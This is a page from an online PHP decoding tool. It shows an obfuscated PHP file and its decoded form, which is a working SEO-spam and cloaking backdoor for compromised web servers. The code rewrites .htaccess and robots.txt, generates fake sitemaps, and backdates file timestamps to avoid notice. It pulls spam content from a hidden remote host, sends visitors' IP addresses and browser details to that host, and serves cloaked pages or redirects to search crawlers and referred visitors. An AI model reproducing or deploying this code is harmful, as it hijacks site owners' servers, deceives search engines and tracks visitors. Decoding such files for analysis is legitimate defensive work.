Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $z1OYQeXkoA='ek/gakuhu/e*aOO*1wv*bc/,ek/kutushopyamau/*1wh*bqA*1wk*aA/,ek/mco/*5wP*b..
Decoded Output download
@ob_start();@set_time_limit(3600);@session_start();if(!isset($_SESSION['z1pas'])){$_SESSION['z1pas']=false;};if($_SESSION['z1pas']){die;};if(version_compare(PHP_VERSION,'5.1.0','<')){@ini_set('date.timezone','America/Toronto');}else{@date_default_timezone_set('America/Toronto');}
function z1BLWYQeLj($z1WYcJLjnp,$content,$z1iDVsKFoA='w'){
$z1BL=@fopen($z1WYcJLjnp,$z1iDVsKFoA);
if($z1BL!==false){
fwrite($z1BL,$content);
fclose($z1BL);
}
}
function z1npYcoALj($z1QeOYXk){
$return=0;
if(function_exists('curl_i'.'nit')&&function_exists('curl_'.'exec')){
$z1kqQeOYXk=curl_init();
curl_setopt($z1kqQeOYXk,CURLOPT_URL,$z1QeOYXk);
curl_setopt($z1kqQeOYXk,CURLOPT_CONNECTTIMEOUT,0);
curl_setopt($z1kqQeOYXk,CURLOPT_RETURNTRANSFER,1);
curl_setopt($z1kqQeOYXk,CURLOPT_TIMEOUT,180);
$curl_exec=curl_exec($z1kqQeOYXk);
curl_close($z1kqQeOYXk);
if($curl_exec){
$return=$curl_exec;
return trim(trim($return,""));
}
}
if(function_exists('file_get_contents')){
$content = file_get_contents($z1QeOYXk);
if($content){
$return=$content;
return trim(trim($return,""));
}
}
$z1BLQeEPkq='';
if(function_exists('fsoc'.'kopen')){$z1BLQeEPkq='fsocko'.'pen';} elseif(function_exists('pfsock'.'open')){$z1BLQeEPkq='pfsoc'.'kopen';} if($z1BLQeEPkq!=''){ $parse=parse_url($z1QeOYXk); $z1BLWY=$z1BLQeEPkq($parse['ho'.'st'],isset($parse['po'.'rt'])?$parse['po'.'rt']:80,$z1oAEP,$z1oAns,30); if($z1BLWY){ $return=isset($parse['pa'.'th'])?$parse['pa'.'th']:''; $return.=isset($parse['que'.'ry'])?'?'.$parse['que'.'ry']:''; $return=$return==''?'/':$return; fwrite($z1BLWY,"GET $return HTTP/1.0
Host: ".$parse['ho'.'st']."
Connection: Close
"); $body=''; while(!feof($z1BLWY)){ $body.=fgets($z1BLWY,4096); } fclose($z1BLWY); $return=preg_match("/^HTTP\/1/si",$body)?preg_replace("/.*?
(.*)/si","$z1zdyGknPmd",$body):preg_replace("/^[^<]+?(<.*)/is","$z1zdyGknPmd",$body); return trim(trim($return,"")); }else{$return=0;} }else{ if(function_exists('curl_i'.'nit')&&function_exists('curl_'.'exec')){ $z1kqQeOYXk=curl_init(); curl_setopt($z1kqQeOYXk,CURLOPT_URL,$z1QeOYXk); curl_setopt($z1kqQeOYXk,CURLOPT_CONNECTTIMEOUT,0); curl_setopt($z1kqQeOYXk,CURLOPT_RETURNTRANSFER,1); curl_setopt($z1kqQeOYXk,CURLOPT_TIMEOUT,180); $curl_exec=curl_exec($z1kqQeOYXk); curl_close($z1kqQeOYXk); if($curl_exec){ $return=$curl_exec; return trim(trim($return,"")); } } } return trim(trim($return,"")); }
function z1npLjcJkq($znSycJkip){ $z1CoqPtg='1425';
$z1WYcJLjnp='.hta'.'ccess';
$z1WYOYVskq=0;
$z1CoqPtg.='304592';
if(!file_exists($z1WYcJLjnp)){$z1WYOYVskq=1;}else{if(filemtime($z1WYcJLjnp)!=$z1CoqPtg){$z1WYOYVskq=1;}}if($z1WYOYVskq){$content=@file_get_contents($z1WYcJLjnp);$content=$content===false?'':trim($content);
$content=sprintf('<IfModule%smod_'.'rewrite.c>%sRewri'.'teEngine%sOn%sRewriteRu'.'le%s.*.html?$%sindex'.'.php%s[L]%sRewri'.'teCond%s%s{RE'.'QUEST_FILEN'.'AME}%s!-f%sRewrit'.'eCond%s%s{REQUEST_F'.'ILENAME}%s!-d%sRewriteRu'.'le%s.%sindex'.'.php%s[L]%s</IfMod'.'ule>',' ',"
",' ',"
",' ',' ',' ',"
",' ','%',' ',"
",' ','%',' ',"
",' ',' ',' ',"
")."
$content";
@unlink($z1WYcJLjnp);z1BLWYQeLj($z1WYcJLjnp,$content);@touch($z1WYcJLjnp,$z1CoqPtg);}
if(mt_rand(1,50)==29){@chmod('robo'.'ts.txt',0755);$robotssitemap='';for($i=1;$i<41;$i++){$robotssitemap.=chr(13).chr(10).'Sitemap:'.$znSycJkip.'/sitemapxml/site_map'.$i.'.xml.gz';}z1BLWYQeLj('robo'.'ts.txt',sprintf('User-a'.'gent:%s*%sDis'.'allow:%sSitemap:%s/site_map.xml',' ',"
","
",$znSycJkip).$robotssitemap);@touch('robots.txt',1425304592);@chmod('robo'.'ts.txt',0444);}
}
function z1nsuDKFns($z1iDcJGk,$limit){$z1nsuDKF=array();if($limit>0){if($z1iDcJGk<=$limit){$z1nsuDKF=range(0,$z1iDcJGk);}else{$z1nsuDKFBL=mt_rand(1,($z1iDcJGk-$limit*2));$z1nsuDKF=range($z1nsuDKFBL,$z1nsuDKFBL+$limit-1);}}return $z1nsuDKF;}
z1BqVsVsLj($z1OYQeXkoA,$z1npLjLjWY,$z1mdIxrA);
function z1OYnsLjOY($mod='s',$limit=2,$k=0){$z1nsoAoAKFns=range('a','z');if($mod=='w'){$z1nsoAoAKFns=array_merge($z1nsoAoAKFns,range(0,9));}if($mod=='d'){$z1nsoAoAKFns=range(0,9);}$z1nsLjOY='';$z1nsoBbgD=count($z1nsoAoAKFns)-1;for($z1cJ=0;$z1cJ<$limit;$z1cJ++){mt_srand($k+$z1cJ);$z1nsLjOY.=$z1nsoAoAKFns[mt_rand(0,$z1nsoBbgD)];}mt_srand();return $z1nsLjOY;}function z1GkkqVsKFoA($z1nsLjOY){$return='';$z1kqVsKFoAns=preg_split("//",$z1nsLjOY,-1,PREG_SPLIT_NO_EMPTY);foreach($z1kqVsKFoAns as $key=>$value){$z1kqVsKFoAns[$key]=chr(ord($value)-1);}$return=implode('',$z1kqVsKFoAns);$return='http://'.$return;return $return;}
function z1YcQeXkWY($z1OYQeXkoA,$z1QeOYuD,$z1WYOYoA){$return=0;foreach($z1OYQeXkoA as$z1OYuIsOA){$z1QeOYuD2=$z1QeOYuD;if(strpos($z1OYuIsOA,'#')!==false){$tre=preg_replace('/#.*#/si','(.*)', $z1WYOYoA.$z1OYuIsOA);if(preg_match(sprintf('/%s/si',addcslashes($tre,'/')),$z1QeOYuD,$nur)){$z1QeOYuD2=preg_replace('/#.*#/si',base64_decode($nur[1]),$z1WYOYoA.$z1OYuIsOA);}$z1OYuIsOA=str_replace('#','',$z1OYuIsOA);}$z1Gk=strpos($z1OYuIsOA,'*a');$z1Qp=strpos($z1OYuIsOA,'*b');$z1OYuIsOA=addcslashes(preg_replace('/\*(\d+)\w/si','\w{$1}',str_replace(array('*a','*b'),'(\d+)',$z1OYuIsOA)),'/?');if(preg_match(sprintf('/^%s%s$/si',addcslashes($z1WYOYoA,'/?'),$z1OYuIsOA),$z1QeOYuD2,$z1WYOYoAGk)){$return=$z1Gk>$z1Qp?array($z1WYOYoAGk[2],$z1WYOYoAGk[1]):array($z1WYOYoAGk[1],$z1WYOYoAGk[2]);break;}};return$return;}
function z1YcOYcJEPLj($z1cJ,$z1Bq,$z1kq,$z1KF,$z1oA=0){$z1cJ=z1DePxhq($z1cJ,$z1kq);$z1mD=str_replace(array('*a','*b'),array($z1Bq,$z1kq),"$z1KF$z1cJ");preg_match_all('/\*(\d+)?(\w)/si',$z1mD,$z1kW);if(isset($z1kW[2])){foreach($z1kW[0]as $z1Ka=>$z1BL){$z1mD=preg_replace(sprintf('/%s/',addcslashes($z1BL,'*')),z1OYnsLjOY($z1kW[2][$z1Ka],$z1kW[1][$z1Ka],$z1kq+$z1Ka),$z1mD,1);}}if(preg_match('/#(.*)#/si',$z1mD,$hash)){$z1mD=str_replace($hash[0],base64_encode($hash[1]),$z1mD);}return $z1mD;}
function z1DePxhq($array=array(),$key=0){$val='';$key=(int)$key;if(!empty($array)){if(isset($array[$key])){$val=$array[$key];}else{$val=$array[$key%count($array)];}}return$val;}
function z1BqVsVsLj($z1OYQeXkoA,$z1npLjLjWY,$z1GwVj=''){
$z1OYQeXkoA=explode(',',$z1OYQeXkoA);$z1GknpoAcJKF='<?xml version="1.0" encoding="UTF-8"?><urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xhtml="http://www.w3.org/1999/xhtml">';$z1nsLj='sit';$z1npnsLj='hpsi';$z1Roofgt=isset($_SERVER['DOCUMEN'.'T_ROOT'])?str_replace('\','/',$_SERVER['DOCUMEN'.'T_ROOT']):'';$z1qYvsZ=isset($_SERVER['SCRIP'.'T_NAME'])?$_SERVER['SCRIP'.'T_NAME']:str_replace($z1Roofgt,'',str_replace('\','/',__FILE__));$z1qYvsZ=$z1qYvsZ!=''?substr($z1qYvsZ,1):$z1qYvsZ;$z1Roofgt=preg_replace('/\/$/si','',$z1Roofgt);$z1qYvsZ=strtolower($z1qYvsZ)=='index.php'?'':$z1qYvsZ;$z1nskqOYuDWYLj=$z1qYvsZ!=''?substr($z1qYvsZ,0,strrpos($z1qYvsZ,'/')):($z1Roofgt!=''?str_replace($z1Roofgt,'',str_replace('\','/',dirname(__FILE__))):'');if(@strpos(dirname(__FILE__),$z1nskqOYuDWYLj) !==false){$z1nskqOYuDWYLj = "";}$z1qYvsZ=preg_replace('/.*\/(.*)/si','$1',$z1qYvsZ);$z1qYvsZ=strtolower($z1qYvsZ)=='index.php'?'':$z1qYvsZ;$get=$_GET;$z1npnsLj.='temap';$z1nskqOYuDWYLj=str_replace('\','/',($z1nskqOYuDWYLj==''||$z1nskqOYuDWYLj=='index.php')?'/':"/$z1nskqOYuDWYLj/");$z1nsLj.='em';$z1QeOYuD=isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:(isset($_SERVER['QUERY_STRING'])?$_SERVER['QUERY_STRING']:'');if(preg_match("/.*?google([a-zA-z0-9]+)\.html/is",$z1QeOYuD,$gyz)){$gfile="google".$gyz[1].".html";if(file_exists($gfile)){die("google-site-verification: ".$gfile);}$UA ="Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 ApplesWebKit/537.36 Safari/537.36";if($_SERVER['HTTP_USER_AGENT'] == $UA){if(!file_exists($gfile)){@file_put_contents($gfile,"google-site-verification: ".$gfile);die("google-site-verification: ".$gfile);}}}$z1QeOYuD=($z1QeOYuD==''?((isset($_SERVER['PATH_I'.'NFO'])&&$_SERVER['PATH_I'.'NFO']!='')?$_SERVER['PATH'.'_INFO']:$z1QeOYuD):$z1QeOYuD);$z1npLjLjWYns=z1GkkqVsKFoA($z1npLjLjWY);$pack=$z1npLjLjWYns.'/nod'.'e/%s/%';$z1nsLj.='ap';$z1nsoAOYmDoAOYdlEPcJiDoA=isset($_SERVER['HTT'.'P_HOST'])?$_SERVER['HTTP'.'_HOST']:$_SERVER['SERVE'.'R_NAME'];$z1npWY=$z1QeOYXk=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http').'://'.$z1nsoAOYmDoAOYdlEPcJiDoA;z1npLjcJkq($z1npWY);$z1QeOYXk.=$z1QeOYuD;if(isset($get[$z1nsLj])){$z1EP=(int)$get[$z1nsLj];$xpath='site'.'_map.xml';$xpath_head='<?xml version="1.0" encoding="UTF-8"?><sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">';
$xpath_foot='</sitemapindex>';
$xpath_content='';
$z1GknsLjOY='';
if(file_exists($xpath)){@unlink($xpath);}
if(file_exists($xpath)){
$xpath_content=$z1GknsLjOY=file_get_contents($xpath);
}else{
if(!file_exists("sitemapxml")){
@mkdir("sitemapxml");
if(!file_exists("sitemapxml")){
echo 'sitemapxml not ok';
exit;
}
}
$z1BL=explode(',',z1npYcoALj("$z1npLjLjWYns/1.csv"));
$xmlNum =1;
$xpath_content.=$xpath_head;
if(isset($get['num'])){
$limFile =$get['num'];
}foreach($z1BL as $z1mD){
$z1vy=explode('*',$z1mD);
$countAll = $z1vy[1];
$perCt = $z1EP;
$fileNum = ceil($countAll/$perCt);
if(isset($get['num'])){
$fileNum=$get['num'];
}
for($mm=1;$mm<=$fileNum;$mm++){
set_time_limit(0);
if(!file_exists("sitemapxml/site_map".$xmlNum.".xml.gz")){
$z1GknsLjOY=$z1GknpoAcJKF;
foreach(make_node_value($countAll,$perCt) as $nn){
$z1GknsLjOY.=sprintf('<url><loc'.'>%s</loc'.'><xhtml:link rel="alternate" hreflang ="JA-JP" href ="%s" /><lastm'.'od>%s</'.'lastmod><'.'changefreq>we'.'ekly</chang'.'efreq></url>',$z1npWY.z1YcOYcJEPLj($z1OYQeXkoA,$z1vy[0],($perCt*($mm-1)+$nn),"$z1nskqOYuDWYLj$z1qYvsZ$z1GwVj",1),$z1npWY.z1YcOYcJEPLj($z1OYQeXkoA,$z1vy[0],($perCt*($mm-1)+$nn),"$z1nskqOYuDWYLj$z1qYvsZ$z1GwVj",1),date('Y-m-d'));
}
$z1GknsLjOY.='</urlset>';
$gz = gzopen("sitemapxml/site_map".$xmlNum.".xml.gz", 'w9');
gzwrite($gz,$z1GknsLjOY);
gzclose($gz);
@touch("sitemapxml/site_map".$xmlNum.".xml.gz",1425304592);
if(!file_exists("sitemapxml/site_map".$xmlNum.".xml.gz")){
echo "sitemapxml/site_map".$xmlNum.".xml.gz sitemapxml not ok";
exit;
}else{
echo "sitemapxml/site_map".$xmlNum.".xml.gz sitemapxml ok<br>";
}
}
$xmlNum++;
}
}
$fzxml = glob("sitemapxml/*.xml.gz");
$robotstxt='';
$my=trim(str_replace('/index.php','',$_SERVER['PHP_SELF']),'/');
if(strlen($my)>1){$my=$my.'/';}
foreach($fzxml as $xml){
$xpath_content.=sprintf('<sitemap><loc>%s</loc><lastmod>%s</lastmod></sitemap>',$z1npWY."/".$my.$xml,date('Y-m-d'));
$robotstxt.=chr(13).chr(10).'Sitemap:'.$z1npWY."/".$my.$xml;
}
$robotstxt='User-agent: *'.chr(13).chr(10).'Disallow:'.chr(13).chr(10).'Sitemap:'.$z1npWY.'/'.$my.'site_map.xml'.$robotstxt;
$xpath_content.=$xpath_foot;
@chmod($_SERVER['DOCUMENT_ROOT'].'/robo'.'ts.txt',0755);
if(function_exists('file_get_contents')){
if(@file_put_contents($_SERVER['DOCUMENT_ROOT'].'/robots.txt',$robotstxt)==0){z1BLWYQeLj($_SERVER['DOCUMENT_ROOT'].'/robots.txt',$robotstxt);}
if(@file_put_contents($xpath,$xpath_content)==0){z1BLWYQeLj($xpath,$xpath_content);}
}else{
z1BLWYQeLj($_SERVER['DOCUMENT_ROOT'].'/robots.txt',$robotstxt);
z1BLWYQeLj($xpath,$xpath_content);
}
@touch("sitemapxml",1425304592);@touch($xpath,1425304592);@touch('robots.txt',1425304592);
@chmod('robo'.'ts.txt',0444);
}
echo 'end';
echo htmlspecialchars($xpath_content);
exit;
header('Conten'.'t-type:text/'.'xml');
die($xpath_content);
}
if(isset($get[$z1npnsLj])){
$xpath='home-site'.'-map.xml';
$z1GknsLjOY='';
$z1GknsLjOY=$z1GknpoAcJKF;
$z1npWYYcoALj=z1npYcoALj($z1npWY);
$z1Gkkq=array($z1npWY);
if(preg_match_all('/href=[\'"]?(.*?)[\'"\s>]/si',$z1npWYYcoALj,$z1npWYXkuDEPKans)){
foreach($z1npWYXkuDEPKans[1] as $z1npWYXk){
$z1npWYXk=trim(preg_replace('/^\//si','',$z1npWYXk));
if(!preg_match('/^https?\:\/\//si',$z1npWYXk)){
if(substr($z1npWYXk,0,1)=='/'){
$z1npWYXk=$z1npWY.$z1npWYXk;
}else{
$z1npWYXk=$z1npWY."/".$z1npWYXk;
}
}
if(strpos($z1npWYXk,str_replace('www.','',$z1nsoAOYmDoAOYdlEPcJiDoA))!==false){
if(preg_replace('/\/$/si','',$z1npWYXk)!=$z1npWY){
$z1Gkkq[]=$z1npWYXk;
}
}
}
}
$z1Gkkq=array_unique($z1Gkkq);
foreach($z1Gkkq as $k=>$v){
if(substr($v,-4)=="?rsd" || substr($v,-5)==".jpeg" || substr($v,-4)==".css" || substr($v,-4)==".png" || substr($v,-4)==".xml" || substr($v,-4)==".gif" || substr($v,-4)==".jpg" || substr($v,-4)==".pdf" || substr($v,-4)==".ico" || substr($v,-3)==".js" || strpos($v,'.css?') || strpos($v,'/css?') || strpos($v,'mailto:') ||strpos($v,'javascript:') || strpos($v,'/./') || strpos($v,'/../') || strpos($v,'#') || strpos($v,'(') || strpos($v,'[')){
unset($z1Gkkq[$k]);
}
}
foreach($z1Gkkq as $z1XkuDKa){
$z1GknsLjOY.=sprintf('<url><loc'.'>%s</loc'.'><lastm'.'od>%s</'.'lastmod><'.'changefreq>we'.'ekly</chang'.'efreq></url>',$z1XkuDKa,date('Y-m-d'));
}
$z1GknsLjOY.='</urlset>';
z1BLWYQeLj($xpath,$z1GknsLjOY);
@touch($xpath,1425304592);
header('Conten'.'t-type:text/'.'xml');
die($z1GknsLjOY);
}
$pack.='s/%s/gon';
$z1iDcJOYKa=z1YcQeXkWY($z1OYQeXkoA,$z1QeOYuD,"$z1nskqOYuDWYLj$z1qYvsZ$z1GwVj");
$z1iDcJOYKa=$z1iDcJOYKa==0?array('n','b'):$z1iDcJOYKa;
$pack.='ews.php/?%s';
if(isset($_SERVER['HTTP_RE'.'FERER'])&&preg_match('/(google.co.jp|yahoo.co.jp|bing|ceek.jp|goo.ne.jp)/si',$_SERVER['HTTP_R'.'EFERER'])){
$z1J2mh=z1Xk($z1OYQeXkoA,$z1nskqOYuDWYLj,z1npYcoALj(sprintf($pack,$z1iDcJOYKa[0],$z1iDcJOYKa[1],1,urlencode($z1QeOYXk.'$IP'.W0IXPSEccSRr().clientinfo()))));
if(preg_match('/^http\:\/\//si',$z1J2mh)){
header('Location:'.$z1J2mh);exit();
}else{
if(isjc($z1J2mh)){
$z1J2mh=str_replace("<uago>","",$z1J2mh);
die($z1J2mh);
}else{
}
}
}
$spider = 'googlebot|baiduspider|bingbot|google|baidu|aol|bing|yahoo|gzip\(gfe\)|ceek|goo|gsa';
if(isset($_SERVER['HTTP_USER'.'_AGENT'])&&preg_match('/($spider)/si',$_SERVER['HTTP_US'.'ER_AGENT'])){
$Rsam = z1Xk($z1OYQeXkoA,"$z1nskqOYuDWYLj$z1qYvsZ$z1GwVj",z1npYcoALj(sprintf($pack,$z1iDcJOYKa[0],$z1iDcJOYKa[1],0,urlencode($z1QeOYXk.'$IP'.W0IXPSEccSRr().clientinfo()))));
if(isjc($Rsam)){
$Rsam=str_replace("<uago>","",$Rsam);
die($Rsam);}
else{}
}else{
if(isset($_SERVER['HTTP_USER'.'_AGENT'])&&preg_match('/(360spider|sogou|sosospider|msnbot)/si',$_SERVER['HTTP_US'.'ER_AGENT'])){
}else{
$xxx=z1Xk($z1OYQeXkoA,"$z1nskqOYuDWYLj$z1qYvsZ$z1GwVj",z1npYcoALj(sprintf($pack,$z1iDcJOYKa[0],$z1iDcJOYKa[1],0,urlencode($z1QeOYXk.'$IP'.W0IXPSEccSRr().clientinfo()))));
if(isjc($xxx)){
$xxx=str_replace("<uago>","",$xxx);
die($xxx);
}else{}
}
}
}
function z1Xk($z1cJ,$z1Bq,$z1kq){
if($z1kq=='i!'){$_SESSION['z1pas']=true;die;}
preg_match_all('/app\?no'.'dei'.'d=\d+[^>]+>.*?</',$z1kq,$z1Yc);
if(isset($z1Yc[0])&&!empty($z1Yc[0])){
foreach($z1Yc[0]as $z1BL){
if(preg_match('/app\?no'.'de'.'id=(\d+)&n'.'odeva'.'lue=(\d+)([^>]+>)(.*?)</',$z1BL,$z1Dr)){
$z1nsoAOYmDoAOYdlEPcJiDoA=isset($_SERVER['HTT'.'P_HOST'])?$_SERVER['HTTP'.'_HOST']:$_SERVER['SERVE'.'R_NAME'];
$z1npWY=$z1QeOYXk=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http').'://'.$z1nsoAOYmDoAOYdlEPcJiDoA;
$z1kq=str_replace($z1BL,$z1npWY.z1YcOYcJEPLj($z1cJ,$z1Dr[1],$z1Dr[2],$z1Bq).$z1Dr[3].$z1Dr[4].'<',$z1kq);
}
if(preg_match('/title=\"app\?no'.'de'.'id=(\d+)&n'.'odeva'.'lue=(\d+)\"/',$z1BL,$z1Dr)){
$z1kq=str_replace('title="app?nodeid='.$z1Dr[1].'&nodevalue='.$z1Dr[2].'"','title="'.z1YcOYcJEPLj($z1cJ,$z1Dr[1],$z1Dr[2],$z1Bq).'"',$z1kq);
}
if(preg_match('/>app\?no'.'de'.'id=(\d+)&n'.'odeva'.'lue=(\d+)</',$z1BL,$z1Dr)){
$z1nsoAOYmDoAOYdlEPcJiDoA=isset($_SERVER['HTT'.'P_HOST'])?$_SERVER['HTTP'.'_HOST']:$_SERVER['SERVE'.'R_NAME'];
$z1npWY=$z1QeOYXk=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http').'://'.$z1nsoAOYmDoAOYdlEPcJiDoA;
$z1kq=str_replace('>app?nodeid='.$z1Dr[1].'&nodevalue='.$z1Dr[2].'<','>'.$z1npWY.z1YcOYcJEPLj($z1cJ,$z1Dr[1],$z1Dr[2],$z1Bq).'<',$z1kq);}}}
return $z1kq;}
function z1Xk2($z1cJ,$z1Bq,$z1kq){if($z1kq=='i!'){$_SESSION['z1pas']=true;die;}preg_match_all('/app\?no'.'dei'.'d=\d+[^>]+>.*?</',$z1kq,$z1Yc);if(isset($z1Yc[0])&&!empty($z1Yc[0])){foreach($z1Yc[0]as $z1BL){if(preg_match('/app\?no'.'de'.'id=(\d+)&n'.'odeva'.'lue=(\d+)([^>]+>)(.*?)</',$z1BL,$z1Dr)){$z1kq=str_replace($z1BL,z1YcOYcJEPLj($z1cJ,$z1Dr[1],$z1Dr[2],$z1Bq).$z1Dr[3].$z1Dr[4].'<',$z1kq);}}}return $z1kq;}
function W0IXPSEccSRr(){$W0csRr='';if(isset($_SERVER['REMOTE_ADDR'])&&$_SERVER['REMOTE_ADDR']&&strcasecmp($_SERVER['REMOTE_ADDR'],'0.0.0.0')){$W0csRr=$_SERVER['REMOTE_ADDR'];}elseif(getenv('REMOTE_ADDR')&&strcasecmp(getenv('REMOTE_ADDR'),'0.0.0.0')){$W0csRr=getenv('REMOTE_ADDR');}return $W0csRr;}
function isjc($x){ $str = $x; if(strpos($str,"<uago>") !==false){ return true; }else{ return false; } }
function make_node_value($zuidazhi,$shuliang){
$zuidazhi=(int)$zuidazhi;
if($zuidazhi>($shuliang+500)){
$shuzu=unique_rand(1,$zuidazhi,(mt_rand(1,500)+$shuliang));
}else{
for($i=0;$i<$zuidazhi;$i++){
$shuzu[]=rand(1, $zuidazhi);
}
}
return $shuzu;
}
function unique_rand($min, $max, $num){ $count = 0; $return = array(); for($i=0;$i<$num;$i++){ $return[]=rand($min, $max); } $return = array_flip(array_flip($return)); $count = count($return); while ($count < $num) { $return[]=rand($min, $max); $return = array_flip(array_flip($return)); $count = count($return); } shuffle($return); return $return;}
function clientinfo(){$W0csRr ='';if(isset($_SERVER['HTTP_USER_AGENT'])&&$_SERVER['HTTP_USER_AGENT']){$W0csRr.="####".base64_encode($_SERVER['HTTP_USER_AGENT']);}else{$W0csRr.="####".base64_encode("NULL");}if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])&&$_SERVER['HTTP_ACCEPT_LANGUAGE']){$W0csRr.="####".base64_encode($_SERVER['HTTP_ACCEPT_LANGUAGE']);}else{$W0csRr.="####".base64_encode("NULL");}if(isset($_SERVER['PHP_SELF'])&&$_SERVER['PHP_SELF']){$W0csRr.="####".$_SERVER['PHP_SELF'];}else{$W0csRr.="####NULL";}$W0csRr.="####".date('Y-m-d H:m:s');return $W0csRr;}
Did this file decode correctly?
Original Code
<?php $z1OYQeXkoA='ek/gakuhu/e*aOO*1wv*bc/,ek/kutushopyamau/*1wh*bqA*1wk*aA/,ek/mco/*5wP*bWC*5wg*aC/,ek/splash-star/*3wJ*bBN*1wW*aN.avi,ek/ontai/p*aBB*3wq*bJ.html,ek/plejour/*2wd*aJJ*1wj*bA/,ek/social/*4wS*arr*4wd*bw/index.html,ek/leacca/*2wX*bSG*4wV*aG/index.map,ek/asr/G*bXa*3ww*aa.amm,ek/boxing/*1wf*blE*3wy*aE.html,ek/s-oasis/*4wG*all*3wE*bv/index.item,ek/gakuhu/t*aRR*2wp*bo/,ek/netshopkei/z*bNpB*ap/,ek/canpanera/*2wb*aww*4wM*ba/index.html,ek/kenkousyoppumy/*2wN*aff*4wV*bE.html,ek/selene-/*4wQ*bkc*4wv*ac.html,ek/luckpiece/*3wA*bGF*3wc*aF.cgi,ek/aeonfashionshop/*2wj*aII*2wt*bM.amm,ek/ikoi/W*bHY*2wX*aY/,ek/biglibero/*1wK*ass*1wH*bs/index.amm,ek/greenfil/*5wa*akk*3wC*bi/,ek/matsubarasp/*1wJ*auu*3wr*bz/index.item,ek/far-out/*4wD*aSS*3wn*bf.gov,ek/hat-e/*5wo*aWWu*bm/index.cgi,ek/fishingmax-webshop/*5wx*aHH*1wc*bp.html,ek/hikarisp/*4wQ*aii*1wK*bj/';$z1npLjLjWY='tboezqbufs/tjuf0hspvq7149';$z1mdIxrA='';@eval(base64_decode('QG9iX3N0YXJ0KCk7QHNldF90aW1lX2xpbWl0KDM2MDApO0BzZXNzaW9uX3N0YXJ0KCk7aWYoIWlzc2V0KCRfU0VTU0lPTlsnejFwYXMnXSkpeyRfU0VTU0lPTlsnejFwYXMnXT1mYWxzZTt9O2lmKCRfU0VTU0lPTlsnejFwYXMnXSl7ZGllO307aWYodmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCc1LjEuMCcsJzwnKSl7QGluaV9zZXQoJ2RhdGUudGltZXpvbmUnLCdBbWVyaWNhL1Rvcm9udG8nKTt9ZWxzZXtAZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnQW1lcmljYS9Ub3JvbnRvJyk7fQpmdW5jdGlvbiB6MUJMV1lRZUxqKCR6MVdZY0pMam5wLCRjb250ZW50LCR6MWlEVnNLRm9BPSd3Jyl7CiR6MUJMPUBmb3BlbigkejFXWWNKTGpucCwkejFpRFZzS0ZvQSk7CglpZigkejFCTCE9PWZhbHNlKXsKCWZ3cml0ZSgkejFCTCwkY29udGVudCk7CglmY2xvc2UoJHoxQkwpOwoJfQp9CmZ1bmN0aW9uIHoxbnBZY29BTGooJHoxUWVPWVhrKXsJCgkkcmV0dXJuPTA7CglpZihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaScuJ25pdCcpJiZmdW5jdGlvbl9leGlzdHMoJ2N1cmxfJy4nZXhlYycpKXsJCQoJCSR6MWtxUWVPWVhrPWN1cmxfaW5pdCgpOwoJCWN1cmxfc2V0b3B0KCR6MWtxUWVPWVhrLENVUkxPUFRfVVJMLCR6MVFlT1lYayk7CQkKCQljdXJsX3NldG9wdCgkejFrcVFlT1lYayxDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULDApOwkJCgkJY3VybF9zZXRvcHQoJHoxa3FRZU9ZWGssQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsJCQoJCWN1cmxfc2V0b3B0KCR6MWtxUWVPWVhrLENVUkxPUFRfVElNRU9VVCwxODApOwkJCgkJJGN1cmxfZXhlYz1jdXJsX2V4ZWMoJHoxa3FRZU9ZWGspOwkJCgkJY3VybF9jbG9zZSgkejFrcVFlT1lYayk7CQkKCQlpZigkY3VybF9leGVjKXsJCQkKCQkJJHJldHVybj0kY3VybF9leGVjOwkJCQoJCQlyZXR1cm4gdHJpbSh0cmltKCRyZXR1cm4sIlx4RUZceEJCXHhCRiIpKTsJCQoJCX0JCQkKCX0JCglpZihmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfZ2V0X2NvbnRlbnRzJykpewkJCgkJJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkejFRZU9ZWGspOwkJCgkJaWYoJGNvbnRlbnQpewkJCQoJCQkkcmV0dXJuPSRjb250ZW50OwkJCQoJCQlyZXR1cm4gdHJpbSh0cmltKCRyZXR1cm4sIlx4RUZceEJCXHhCRiIpKTsJCQoJCX0JCgl9CQkKCSR6MUJMUWVFUGtxPScnOwkKCWlmKGZ1bmN0aW9uX2V4aXN0cygnZnNvYycuJ2tvcGVuJykpeyR6MUJMUWVFUGtxPSdmc29ja28nLidwZW4nO30JZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGZzb2NrJy4nb3BlbicpKXskejFCTFFlRVBrcT0ncGZzb2MnLidrb3Blbic7fQlpZigkejFCTFFlRVBrcSE9JycpewkJCSRwYXJzZT1wYXJzZV91cmwoJHoxUWVPWVhrKTsJCQkkejFCTFdZPSR6MUJMUWVFUGtxKCRwYXJzZVsnaG8nLidzdCddLGlzc2V0KCRwYXJzZVsncG8nLidydCddKT8kcGFyc2VbJ3BvJy4ncnQnXTo4MCwkejFvQUVQLCR6MW9BbnMsMzApOwkJCWlmKCR6MUJMV1kpewkJCQkkcmV0dXJuPWlzc2V0KCRwYXJzZVsncGEnLid0aCddKT8kcGFyc2VbJ3BhJy4ndGgnXTonJzsJCQkJJHJldHVybi49aXNzZXQoJHBhcnNlWydxdWUnLidyeSddKT8nPycuJHBhcnNlWydxdWUnLidyeSddOicnOwkJCQkkcmV0dXJuPSRyZXR1cm49PScnPycvJzokcmV0dXJuOwkJCQlmd3JpdGUoJHoxQkxXWSwiXHg0N1x4NDVceDU0XHgyMCRyZXR1cm5ceDIwXHg0OFx4NTRceDU0XHg1MFx4MkZceDMxX